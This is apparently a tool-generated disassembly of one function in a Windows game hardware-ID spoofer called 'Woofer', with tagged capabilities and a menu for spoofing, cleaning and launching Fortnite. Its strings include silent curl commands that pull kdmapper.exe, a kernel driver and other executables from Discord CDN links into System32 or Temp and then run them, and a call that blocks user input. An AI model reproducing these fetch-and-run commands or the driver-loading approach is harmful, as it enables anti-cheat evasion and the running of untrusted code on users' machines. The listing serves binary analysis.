Function at 0x14001adfc
Capabilities:
Create process on windows
Delete file
Execute command
Move file
Query environment variable
Set console window title

Disassembly:
jmp 0x140048280
push rbp
push rdi
mov eax, 0x1b88
call fcn.14001a3e3
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x556
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140076f80]
xor rax, rbp
mov qword [rbp + 0x1b40], rax
lea rcx, [0x1400836dd]
call fcn.14001b496
call fcn.14001b158
movzx eax, al
test eax, eax
jne 0x1400482f9
lea rdx, str.Authentication_failed._Exiting_the_program.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
lea rdx, [0x14001a0f5]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x1400493f1
lea rcx, str.Woofer_By_SevenQLF2736
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.14001afb9
call fcn.14001a325
call fcn.14001ad8e
call fcn.14001a325
call fcn.14001a690
call fcn.14001ab40
call fcn.14001a690
call fcn.14001ab40
call fcn.14001ad2f
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 8]
call fcn.14001b47d
nop
lea rcx, [rbp + 0x48]
call fcn.14001b47d
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.https:__www.discord.gg_wyQAEKwHvY
lea rdx, [0x14006afd0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.color_C
call qword [sym.imp.ucrtbased.dll_system]
call fcn.14001aec4
lea rdx, str._n_n_n___1___Spoof_n_n___2___Clean_n_n___3___Check_Serials_n_n___4___Activate_Windows__Not_Work__n_n___5___Launch_fortnite_from_an_isolated_virtual_environment__Not_Work___n_n
lea rcx, [rbp + 0xb88]
call fcn.14001a938
mov dword [rbp + 0xbb0], 0xa
lea rdx, [rbp + 0xb88]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ab1d
nop
lea rcx, [rbp + 0xb88]
call fcn.14001a64a
lea rdx, str._n_n_n_Option___
lea rcx, [rbp + 0xbd8]
call fcn.14001a938
mov dword [rbp + 0xc00], 0xa
lea rdx, [rbp + 0xbd8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ab1d
nop
lea rcx, [rbp + 0xbd8]
call fcn.14001a64a
lea rdx, [rbp + 8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001a096
lea rdx, [0x14006b0cc]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x1400488fd
lea rdx, str._n_n_n____Choose_Spoofing_Level_____n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
lea rdx, str.1._Spoof_Temp_UD_Ranked__Work__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
lea rdx, str.2._Spoof_Perm__Update_...__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
lea rdx, [rbp + 8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001a096
lea rdx, [0x14006b0cc]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
jne 0x1400484b0
lea rdx, [0x14006b0cc]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x140048691
lea rdx, str._n_n_n______Wait...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_n_____Spoofing_In_Progress
lea rcx, [rbp + 0xc28]
call fcn.14001a938
mov dword [rbp + 0xc50], 0x32
lea rdx, [rbp + 0xc28]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ab1d
nop
lea rcx, [rbp + 0xc28]
call fcn.14001a64a
call fcn.14001b50e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xc74]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xc94]
lea rcx, [rbp + 0xc74]
call fcn.140043e00
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1148675765962018880_1178488440015306802_kdmapper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1148675765962018880_1180792034601209937_tempudbysevenqlf2736.sys___output_C:WindowsSystem32_tempudbysevenqlf2736.sys__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.cd_C:WindowsSystem32__kdmapper.exe_tempudbysevenqlf2736.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xcb4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0xcb4]
call fcn.1400442c0
mov rcx, rax
call fcn.14001b9be
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xd14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xd38]
lea rcx, [rbp + 0xd14]
call fcn.140044790
mov rcx, rax
call fcn.14001b9c3
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xd84]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0xd84]
call fcn.1400448e0
mov rcx, rax
call fcn.14001b9be
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_remove]
lea rax, [rbp + 0xde4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0xde4]
call fcn.140044950
mov rcx, rax
call fcn.14001b9c3
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_remove]
lea rax, [rbp + 0xe54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xe74]
lea rcx, [rbp + 0xe54]
call fcn.1400449c0
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x140048797
lea rdx, [0x14006b380]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
jne 0x1400486c3
lea rdx, [0x14006b380]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x14004877f
lea rdx, str._n_n_n______Wait...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_n_____Spoofing_In_Progress
lea rcx, [rbp + 0xe98]
call fcn.14001a938
mov dword [rbp + 0xec0], 0x32
lea rdx, [rbp + 0xe98]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ab1d
nop
lea rcx, [rbp + 0xe98]
call fcn.14001a64a
call fcn.14001b50e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1148675765962018880_1178488440015306802_kdmaper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1148675765962018880_1180792034601209937_tempudbysevenqf2736.sys___output_C:WindowsSystem32_tempudbysevenqlf2736.sys__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.cd_C:WindowsSystem32__kdmapper.exe_tempudbysevenqlf2736.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.C:WindowsSystem32_seven.ud
lea rcx, str.C:WindowsSystem32kdmapper.exe
call qword [sym.imp.ucrtbased.dll_rename]
lea rdx, str.C:WindowsSystem32qlf.ud
lea rcx, str.C:WindowsSystem32_tempudbysevenqlf2736.sys
call qword [sym.imp.ucrtbased.dll_rename]
jmp 0x140048797
lea rdx, str.Invalid_option__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
jmp 0x14004837e
lea rax, [rbp + 0xee4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xf04]
lea rcx, [rbp + 0xee4]
call fcn.140044a20
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xc8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, [rbp + 0xf24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xf44]
lea rcx, [rbp + 0xf24]
call fcn.140044a80
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBeep]
lea rax, [rbp + 0xf64]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xfc4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0xf64]
call fcn.1400439d0
mov rcx, rax
call fcn.14001b98c
mov qword [rbp + 0x1b38], rax
lea rdx, [rbp + 0xfe8]
lea rcx, [rbp + 0xfc4]
call fcn.140044ae0
mov rcx, rax
call fcn.14001b8b0
xor r9d, r9d
mov rcx, qword [rbp + 0x1b38]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1014]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1034]
lea rcx, [rbp + 0x1014]
call fcn.140043a40
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14004837e
lea rdx, [0x14006b380]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x140048c4c
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_n_n______Wait...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._n_n_____Running_Cleaners
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0xc8
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, [rbp + 0x1054]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x1054]
call fcn.140043aa0
mov rcx, rax
call fcn.14001b900
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x1144]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1168]
lea rcx, [rbp + 0x1144]
call fcn.140043b10
mov rcx, rax
call fcn.14001b9c8
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.C:WindowsSystem32qlf.ud
lea rcx, str.C:WindowsSystem32JiggyCleaner.exe
call qword [sym.imp.ucrtbased.dll_rename]
lea rax, [rbp + 0x11a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x11c4]
lea rcx, [rbp + 0x11a4]
call fcn.140043b80
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x11e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1244]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1208]
lea rcx, [rbp + 0x11e4]
call fcn.140043c50
mov rcx, rax
call fcn.14001b98c
mov qword [rbp + 0x1b38], rax
lea rdx, [rbp + 0x1268]
lea rcx, [rbp + 0x1244]
call fcn.140043be0
mov rcx, rax
call fcn.14001b8b0
xor r9d, r9d
mov rcx, qword [rbp + 0x1b38]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp + 0x1294]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x12b4]
lea rcx, [rbp + 0x1294]
call fcn.140043cc0
mov rcx, rax
call fcn.14001b914
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x12d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1300]
lea rcx, [rbp + 0x12d4]
call fcn.140043d20
mov rcx, rax
call fcn.14001b865
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1364]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1388]
lea rcx, [rbp + 0x1364]
call fcn.140043d90
mov rcx, rax
call fcn.14001b9d7
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
lea rdx, [rbp + 0x84]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0x1b34], eax
cmp dword [rbp + 0x1b34], 1
je 0x140048bb4
cmp dword [rbp + 0x1b34], 2
je 0x140048c3a
jmp 0x140048c4c
lea rax, [rbp + 0x13b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x13d8]
lea rcx, [rbp + 0x13b4]
call fcn.140043e60
mov rcx, rax
call fcn.14001b9f5
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov edx, 0xc8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, [rbp + 0x1404]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1428]
lea rcx, [rbp + 0x1404]
call fcn.140043ed0
mov rcx, rax
call fcn.14001b9ff
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x140048c4c
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14004837e
lea rdx, [0x14006b63c]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x1400490ea
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_5
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1454]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1478]
lea rcx, [rbp + 0x1454]
call fcn.140043f40
mov rcx, rax
call fcn.14001ba1d
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x14a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x14c8]
lea rcx, [rbp + 0x14a4]
call fcn.140043fb0
mov rcx, rax
call fcn.14001ba04
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1504]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1528]
lea rcx, [rbp + 0x1504]
call fcn.140044020
mov rcx, rax
call fcn.14001b905
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1554]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1578]
lea rcx, [rbp + 0x1554]
call fcn.140044090
mov rcx, rax
call fcn.14001b9dc
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x15b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x15d8]
lea rcx, [rbp + 0x15b4]
call fcn.140044100
mov rcx, rax
call fcn.14001b950
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1604]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1628]
lea rcx, [rbp + 0x1604]
call fcn.140044170
mov rcx, rax
call fcn.14001b897
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1664]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1688]
lea rcx, [rbp + 0x1664]
call fcn.1400441e0
mov rcx, rax
call fcn.14001b9d7
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x16b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x16d8]
lea rcx, [rbp + 0x16b4]
call fcn.140044250
mov rcx, rax
call fcn.14001b9c8
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1714]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1738]
lea rcx, [rbp + 0x1714]
call fcn.140044330
mov rcx, rax
call fcn.14001b9f5
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1764]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1788]
lea rcx, [rbp + 0x1764]
call fcn.1400443a0
mov rcx, rax
call fcn.14001b91e
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x17b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x17d8]
lea rcx, [rbp + 0x17b4]
call fcn.140044410
mov rcx, rax
call fcn.14001b8b0
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1804]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1824]
lea rcx, [rbp + 0x1804]
call fcn.140044480
mov rcx, rax
call fcn.14001b8bf
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1844]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1864]
lea rcx, [rbp + 0x1844]
call fcn.1400444f0
mov rcx, rax
call fcn.14001b8ba
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov dl, 0xa
mov rcx, rax
call fcn.14001af4b
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1884]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x18a8]
lea rcx, [rbp + 0x1884]
call fcn.140044560
mov rcx, rax
call fcn.14001b94b
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x18f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1918]
lea rcx, [rbp + 0x18f4]
call fcn.1400445d0
mov rcx, rax
call fcn.14001b928
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x1964]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1988]
lea rcx, [rbp + 0x1964]
call fcn.140044640
mov rcx, rax
call fcn.14001b94b
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
call fcn.14001a5e6
mov r8d, eax
mov edx, 1
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x14004837e
lea rdx, [0x14006b64c]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x140049261
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x19d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x19f8]
lea rcx, [rbp + 0x19d4]
call fcn.1400446b0
mov rcx, rax
call fcn.14001b8b0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1a24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1a48]
lea rcx, [rbp + 0x1a24]
call fcn.140044720
mov rcx, rax
call fcn.14001b8c9
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0xc8
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str.curl___silent_https:__cdn.discordapp.com_attachments_1107035223985754165_1108225298211803156_Activation.exe___output__LOCALAPPDATA_TempActivation.exe__nul_2_1
lea rcx, [rbp + 0xa8]
call fcn.14001a938
lea rcx, [rbp + 0xa8]
call fcn.14001a203
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
lea rcx, str._LOCALAPPDATA_TempActivation.exe
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xf0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0xa8]
call fcn.14001a3fc
jmp 0x14004837e
lea rdx, [0x14006b784]
lea rcx, [rbp + 8]
call fcn.14001a82a
movzx eax, al
test eax, eax
je 0x1400493d8
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1a84]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1aa8]
lea rcx, [rbp + 0x1a84]
call fcn.140044800
mov rcx, rax
call fcn.14001b8b0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1ad4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1af8]
lea rcx, [rbp + 0x1ad4]
call fcn.140044870
mov rcx, rax
call fcn.14001ba18
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001a258
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0xc8
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str.curl___silent_https:__cdn.discordapp.com_attachments_1107035223985754165_1108255221718732820_fn.exe___output__LOCALAPPDATA_Temp_fn.exe__nul_2_1
lea rcx, [rbp + 0x318]
call fcn.14001a938
lea rcx, [rbp + 0x318]
call fcn.14001a203
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str._LOCALAPPDATA_Temp_fn.exe
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x360]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [0x14006afa4]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x318]
call fcn.14001a3fc
jmp 0x14004837e
lea rcx, [rbp + 0x48]
call fcn.14001a3fc
nop
lea rcx, [rbp + 8]
call fcn.14001a3fc
jmp 0x1400493ef
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14006a9c0]
call fcn.14001b112
mov rax, rdi
mov rcx, qword [rbp + 0x1b40]
xor rcx, rbp
call fcn.14001a9ec
lea rsp, [rbp + 0x1b58]
pop rdi
pop rbp
ret